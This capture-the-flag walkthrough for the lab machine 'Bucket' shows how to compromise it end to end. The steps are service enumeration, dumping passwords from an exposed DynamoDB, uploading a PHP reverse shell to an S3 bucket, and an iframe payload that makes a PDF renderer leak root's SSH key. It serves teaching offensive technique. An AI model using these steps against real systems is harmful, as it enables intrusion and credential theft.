HTB Bucket
HTB: Bucket
Initial Recon
sudo nmap -sS -sV -sC 10.10.10.212 > rec_ini
In the initial port scan, we find that there are two ports open :
- The port 22 for ssh service
- The port 80 for http server
So we let the all ports scan run in the background, while we take a look at the web page. Since, it points to the domain bucket.htb
, we will add it to our /etc/hosts
file.
We do get an email id support@bucket.htb
apart from that, nothing is there in this web page. Even the all ports scan does not return anything interesting.
Directory Brute Forcing
I will let gobuster run in the background to check for hidden and interesting directories.
gobuster dir -u http://bucket.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
And another one :
gobuster dir -u http://bucket.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html, txt, php
To check for files ending with these extensions. But all these did not yield anything useful. So I moved on to enumerating subdomains for the box.
Sub Domain Enumeration
I used wfuzz for enumerating subdomain.
wfuzz --hw 26 -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.bucket.htb' -u http://bucket.htb
I will hide words of length 26.
Immediately we get a response and it seems there is a subdomain called s3
.
However, looking at the source code of the main home page also, we can find out about the subdomain.
We will save this subdomain to our /etc/hosts
file.
Checking the subdomain
The main page of the subdomain gives us nothing.
Taking hint from the source of the domain, we know that there is a directory called adserver
on the subdomain. Still we will let a directory bruteforce run on this subdomain, especially on the adserver directory.
gobuster dir -u http://s3.bucket.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
We immediately get a few response on this one :
There are 2 sub directories in s3 subdomain :
- shell
- health
Checking the health directory I get the following :
It shows the sunning of different subdomains as well as some access control headers in the headers section.
Apart from that we also see that there is another subdomain called the dynamodb, which we will check later on.
Dynamodb
Visiting the shell directory, we see that there is a Amazon Web Services Dynamodb console running.
So here we’re dealing with amazon S3 Bucket, where one can host files and serve them.
Exploiting Amazon S3 Bucket
- First install
awscli
to communicate with the bucket
sudo apt install awscli
- You need to configure the awscli for doing anything with it.
Refer to : Hacking Amazon S3 Bucket
Although you don’t need an actual key for this purpose.
- Then enumerate the dynamodb that is running there.
Refer to : Dynamodb documentation
aws dynamodb list-tables --endpoint-url http://s3.bucket.htb
To list the tables. We will get two tables. So we will scan the user
table.
aws dynamodb scan --table-name users --endpoint-url http://s3.bucket.htb
To list the contents of the table users. This will give us the users and the passwords on the database.
- Now we need to enumerate the buckets to upload our shell and gain a foothold
aws s3 ls --endpoint-url http://s3.bucket.htb
It tells us that the adserver is hosted on the s3 bucket. We know that the images on this directory can be accessed, so we might be able to upload a reverse shell in order to gain access.
So I downloaded the php reverse shell and changed to my ip and port. Now we need to upload it to the adserver
aws s3 cp rev.php --endpoint-url http://s3.bucket.htb s3://adserver/rev.php
This will copy the rev.php
from our machine to the server
aws s3 ls --endpoint-url http://s3.bucket.htb s3://adserver/
This will list the contents of the adserver directory.
Now we know that the shell is uploaded so we can send a request using curl and get a reverse shell. But the server is deleting the file in a few seconds.
We can just use a bash script to automate the task
#!/bin/bash
aws s3 cp rev.php --endpoint-url http://s3.bucket.htb s3://adserver/rev.php
aws s3 ls --endpoint-url http://s3.bucket.htb s3://adserver/
curl http://bucket.htb/rev.php
This will give us the shell :
User
After getting the shell, I checked the home directory, and it tells that there is a user called roy
.
I tried the password n2vM-<_K_Q:.Aa2
, which I got while enumerating the dynamodb and it worked for the user roy
.
Root Privilege Escalation
I was checking out the projects directory for roy, I found out that there is a db.php
file.
It says that there is a service running on localhost on port 4566. Sending a curl request just gives me the health status of the server.
So I will run linpeas and check. Running linpeas I found some interesting ports open on the localost.
I can curl all these ports and check what service is running on them.
- 4566
- 8000
- 34421
However, when I curled the port 8000, I got some kind of index.php page.
But this source wasn’t located in the usual /var/www/html/index.html
rather, it was located in : /var/www/bucket-app/index.php
.
Analyzing the php function
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
if($_POST["action"]==="get_alerts") {
date_default_timezone_set('America/New_York');
$client = new DynamoDbClient([
'profile' => 'default',
'region' => 'us-east-1',
'version' => 'latest',
'endpoint' => 'http://localhost:4566'
]);
$iterator = $client->getIterator('Scan', array(
'TableName' => 'alerts',
'FilterExpression' => "title = :title",
'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
));
foreach ($iterator as $item) {
$name=rand(1,10000).'.html';
file_put_contents('files/'.$name,$item["data"]);
}
passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
}
}
else
{
?>
We first need to take a look at the interesting php function that we have.
- First it is importing the autoload.php from the
vendor
directory - Then it is checking, if the request method is a POST request
- It is then checking if the
action
parameter is set toget_alerts
or not - It then uses the scan function to look for the keyword
Ransomeware
in the title - Then next step takes the contents puts them in html files
- After that the java command that is run takes the output of the command in html code and puts them in a pdf file.
- We know that there was only one table in the s3 bucket. That is the
users
table.
Exploiting the service
- First we need to create the table
aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://s3.bucket.htb
Refer to : Create Tables in a bucket using awscli
- Now we need to put content in that table
aws dynamodb put-item --table-name alerts --item '{ "title": {"S": "Ransomware"},"data": {"S": "<html><head></head><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}}' --return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb
This will use an iframe whose content will be the private key of the root.
Now if we send a curl request on the localhost from the box :
curl --data "action=get_alerts" http://localhost:8000/
The file containing id_rsa
will be stored in the files directory.
Convert to results.pdf to id_rsa and use it to get a root shell.
Tips for converting result.pdf
Use firefox to open the pdf and use an online private key formatter to format the key and store it id_rsa
.